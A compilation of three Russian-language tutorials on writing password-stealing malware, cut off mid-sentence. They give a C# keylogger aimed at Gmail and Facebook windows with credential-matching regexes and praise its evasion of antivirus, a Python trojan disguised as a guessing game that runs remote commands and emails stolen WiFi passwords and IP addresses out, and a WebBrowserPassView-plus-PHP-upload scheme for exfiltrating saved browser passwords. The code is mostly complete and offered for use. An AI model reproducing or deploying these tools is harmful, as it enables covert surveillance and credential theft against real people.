Как написать троянскую программу ворующую пароли

Время на прочтение
6 мин

Количество просмотров 134K

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Начнем.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

1.  [DllImport("user32.dll")]
2.  
3.  public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

1.  while (true)
2.  {
3.  Thread.Sleep(100);
4.  for (Int32 i = 0; i < 255; i++)
5.  {
6.  int state = GetAsyncKeyState(i);
7.  if (state == 1 || state == -32767)
8.  {
9.  Console.WriteLine((Keys)i);
10. 
11. }
12. }
13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

1.  while (true) 
2.  {
3.  IntPtr handle = GetForegroundWindow();
4.  if (GetWindowText(handle, buff, chars) > 0)
5.  {
6.  string line = buff.ToString();
7.  if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8.  {
9.  //проверка клавиатуры 
10. }
11. }
12. Thread.Sleep(100);
13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

1.  //Ищем почтовый адрес
2.  ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.  
4.  
5.  //Ищем пароль
6.  (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

1.  Regex re = new Regex(@"^[w!#$%&amp;'*+-/=?^_`{|}~]+(.[w!#$%&amp;'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2.  Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3.  string email = "Oded.awask@gmail.com";
4.  string pass = "abcde3FG";
5.  Match result = re.Match(email);
6.  Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Как написать троян на Python

Содержание

  • 1 Как написать троян на Python
    • 1.1 Определение IP-адреса
    • 1.2 Бэкконнект по почте
    • 1.3 Создание трояна на Python
    • 1.4 Создание WiFi-стилера на Python
  • 2 Заключение

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Еще по теме: Как написать вирус на Python

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.


Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор статьи, ни редак­ция сайта spy-soft.net не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный данным матери­ало­м. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Не забывайте об этом!

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket

from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой
pip.

pip install socket

pip install requests


Ес­ли вы видите ошиб­ку, что у вас отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети

hostname = socket.gethostname()

# Определяем локальный (внутри сети) IP-адрес

local_ip = socket.gethostbyname(hostname)

# Определяем глобальный (публичный / в интернете) IP-адрес

public_ip = get(‘http://api.ipify.org’).text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print(f‘Хост: {hostname}’)

print(f‘Локальный IP: {local_ip}’)

print(f‘Публичный IP: {public_ip}’)

Ни­ког­да не встре­чал конс­трук­ции типа
print(<wbr />f‘{}<wbr />’)? Бук­ва
f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.


Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это вам на JavaScript!).

Фи­наль­ный код:

import socket

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get(‘http://api.ipify.org’).text

print(f‘Хост: {hostname}’)

print(f‘Локальный IP: {local_ip}’)

print(f‘Публичный IP: {public_ip}’)

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через
pip <wbr />install):

import smtplib as smtp

from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо

email = ‘demo@spy-soft.net’

# Пароль от нее (вместо ***)

password = ‘***’

# Почта, на которую отправляем письмо

dest_email = ‘demo@spy-soft.net’

# Тема письма

subject = ‘IP’

# Текст письма

email_text = ‘TEXT’

Даль­ше сфор­миру­ем пись­мо:

message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса

server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)

server.ehlo(email) # Отправляем hello-пакет на сервер

server.login(email, password) # Заходим на почту, с которой будем отправлять письмо

server.auth_plain() # Авторизуемся

server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)

server.quit() # Отключаемся от сервера

В стро­ке
server.<wbr />ehlo(<wbr />email) мы исполь­зуем коман­ду
EHLO. Боль­шинс­тво сер­веров SMTP под­держи­вают
ESMTP и 
EHLO. Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает
EHLO, мож­но исполь­зовать
HELO.

Пол­ный код этой час­ти тро­яна:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

import smtplib as smtp

import socket

from getpass import getpass

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get(‘http://api.ipify.org’).text

email = ‘demo@spy-soft.net’

password = ‘***’

dest_email = ‘demo@spy-soft.net’

subject = ‘IP’

email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’)

message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL(‘smtp.yandex.com’)

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

После запуска скрипта, получа­ем пись­мо.

Пись­мо с IP жертвы

Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Написание трояна на Python

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random

import socket

import threading

import os

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Создаем функцию игры

def game():

    # Берем случайное число от 0 до 1000

    number = random.randint(0, 1000)

    # Счетчик попыток

    tries = 1

    # Флаг завершения игры

    done = False

    # Пока игра не закончена, просим ввести новое число

    while not done:

        guess = input(‘Введите число: ‘)

        # Если ввели число

        if guess.isdigit():

            # Конвертируем его в целое

            guess = int(guess)

            # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе

            if guess == number:

                done = True

                print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’)

            # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше

            else:

                tries += 1

                if guess > number:

                    print(‘Загаданное число меньше!’)

                else:

                    print(‘Загаданное число больше!’)

        # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново

        else:

            print(‘Это не число от 0 до 1000!’)


За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать:

guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />)

Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Создаем функцию трояна

def trojan():

    # IP-адрес атакуемого

    HOST = ‘192.168.2.112’

    # Порт, по которому мы работаем

    PORT = 9090

    # Создаем эхо-сервер

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    client.connect((HOST, PORT))

    while True:

        # Вводим команду серверу

        server_command = client.recv(1024).decode(‘cp866’)

        # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом

        if server_command == ‘cmdon’:

            cmd_mode = True

            # Отправляем информацию на сервер

            client.send(‘Получен доступ к терминалу’.encode(‘cp866’))

            continue

        # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом

        if server_command == ‘cmdoff’:

            cmd_mode = False

        # Если запущен режим работы с терминалом, вводим команду в терминал через сервер

        if cmd_mode:

            os.popen(server_command)

        # Если же режим работы с терминалом выключен — можно вводить любые команды

        else:

            if server_command == ‘hello’:

                print(‘Hello World!’)

        # Если команда дошла до клиента — выслать ответ

        client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’))

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Следующая стро­ка:

client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM)

соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ).
AF_INET озна­чает работу с IPv4-адре­саци­ей, а 
SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка:

client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />)

ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция
client.<wbr />recv(<wbr />1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да
decode(<wbr />‘cp866’) декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но
cp866? Зай­дем в коман­дную стро­ку и вве­дем коман­ду
chcp.

Те­кущая кодовая стра­ница

Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть
utf8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.


При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле
chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Создание трояна на Питон

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

import subprocess

import time

Мо­дуль
subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре

data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’)

# Создаем список всех названий всех профилей сети (имена сетей)

WiFis = [line.split(‘:’)[1][1:1] for line in data if «Все профили пользователей» in line]

# Для каждого имени…

for WiFi in WiFis:

    # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear

    results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, WiFi, ‘key=clear’]).decode(‘cp866’).split(‘n’)

    # Забираем ключ

    results = [line.split(‘:’)[1][1:1] for line in results if «Содержимое ключа» in line]

    # Пытаемся его вывести в командной строке, отсекая все ошибки

    try:

        print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’)

    except IndexError:

        print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’)

Вве­дя коман­ду в коман­дной стро­ке:

netsh <wbr />wlan <wbr />show <wbr />profiles

Mы получим сле­дующее.

netsh wlan show profiles

netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду:

netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear

Резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear

netsh wlan show profile ASUS key=clear
RAT Python. Результат VirusTotal
Результат VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

if server_command == ‘Wi-Fi’:

    data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’)

    WiFis = [line.split(‘:’)[1][1:1] for line in data if «Все профили пользователей» in line]

    for WiFi in WiFis:

        results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, WiFi, ‘key=clear’]).decode(‘cp866’).split(‘n’)

        results = [line.split(‘:’)[1][1:1] for line in results if «Содержимое ключа» in line]

        try:

            email = ‘mail@yandex.ru’

            password = ‘***’

            dest_email = ‘demo@demo.ru’

            subject = ‘Wi-Fi’

            email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’)

            message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

            server = smtp.SMTP_SSL(‘smtp.yandex.com’)

            server.set_debuglevel(1)

            server.ehlo(email)

            server.login(email, password)

            server.auth_plain()

            server.sendmail(email, dest_email, message)

            server.quit()

        except IndexError:

            email = ‘mail@yandex.ru’

            password = ‘***’

            dest_email = ‘demo@demo.ru’

            subject = ‘Wi-Fi’

            email_text = (f‘Name: {Wi-Fi}, Password not found!’)

            message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

            server = smtp.SMTP_SSL(‘smtp.yandex.com’)

            server.set_debuglevel(1)

            server.ehlo(email)

            server.login(email, password)

            server.auth_plain()

            server.sendmail(email, dest_email, message)

            server.quit()


Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Троян на Python отработал

Троян на Python отработал

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Еще по теме: Как создать троян для Android

Как без особых знаний воровать пароли -20

Информационная безопасность, Из песочницы


Рекомендация: подборка платных и бесплатных курсов таргетированной рекламе — https://katalog-kursov.ru/

1. Предисловие

Этот материал подготовлен в ознакомительных целях, показать простые и, возможно, интересные вещи, а так же как с их помощью легко создать относительно мощный инструмент под свои нужны.

Я обычный студент и все что будет в этой статье — мои личные наработки и опыт.

2. Введение

Все те люди, которые сохраняют свои пароли в браузерах подвергаются большой опасности, ведь кажется очень легко зайти в компьютер другого человека и получить доступ к множеству веб-сервисов. Те же соц.сети и почты, а там уже море возможностей. Да, сейчас сильно развивается 2-step verification, но все же.

На деле все действительно не сложно. Пароли сохраняются в отдельном файле, который шифруется и прочитать его можно только на той машине, на которой он был создан. Так что просто забрать его себе и пользоваться не получится, придется вытащить от туда пароли. Далее нужно будет их как-то доставить.

Есть хорошая программа — WebBrowserPassView, которая как раз и позволяет вытаскивать пароли, во круг нее и будет кипеть работа.

3. WebBrowserPassView

У данной программы есть как графический интерфейс, так и поддержка командной строки. Однако последнее отключили начиная с версии 1.56. По понятным причинам командная строка нам необходима, по этому ищем более старую версию. И тут будет первая фишка.

Я нашел такую версию, но скачивается exe-шник, который запускать ну никак не хочется, мало ли что он сделает. По этому берем 7z и открываем его как архив

Тадам, видим файлы WebBrowserPassView и еще что-то, что нам не нужно. Достаем необходимое, а сам exe-шник смело удаляем.

Теперь можем запустить программу с консоли таким образом:

start WebBrowserPassView.exe /stext file

С параметром /stext оно сохранит все данные текстом в заданный файл (файл не обязательно должен быть с расширением .txt).

А с полным списком команд можно ознакомиться на официальном сайте

4. Отправка файла на сервер

4.1 Хостинг

Мы уже знаем как достать пароли и сохранить их в файл, это было не сложно. Теперь нужно как-то забрать их. Для этого как минимум нужен сервер со статическим ip. Я пробовал виртуальные сервера от Amazon и тому подобные, но в таком случае нам нужно писать сервер-приложение, возможно платить (Amazon берет плату за статический ip). Сделать сервер из своего домашнего компьютера — не очень подходит как в плане безопасности, так и надежности.

В таком случае я выбрал бесплатный хостинг сайтов. Абсолютно бесплатный и всегда онлайн.
Я использовал zzz.com.ua, но вы можете пробовать на чем хотите.

4.2 Сервер

Я не сильно программист, из языков знаю dos и java на любительском уровне, но вам даже этого не понадобиться, ибо все готовые решения уже давно есть в сети и найти их очень просто.
Наша задача объединить множество простых и уже созданных вещей в что-то уникальное.
Так что смело берем код с какого-то форума и пользуемся.

Сервер будет на php, клиент на java (далеко не самое лучшее решение, на С++ или pyton было бы во много раз эффективнее, да и не у каждого установлена она, но тут моя личная особенность)

Код сервера:

<?php 

$target_path = "uploads/"; 

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
    echo "The file ". basename( $_FILES['uploadedfile']['name'])." has been uploaded"; 
} else{ 
    echo "There was an error uploading the file, please try again!"; 
}

?> 

Запихиваем это все в файл.php и кидаем в корневую директорию сайта. Так же создаем папку uploads куда будет все грузиться. (ее можно изменить во второй строчке кода).
На этом работа с сервером окончена, приступаем к клиенту.

4.3 Клиент

И так, забегая вперед скажу, что файл с паролями будем сохранять во временную папку системы

%temp%

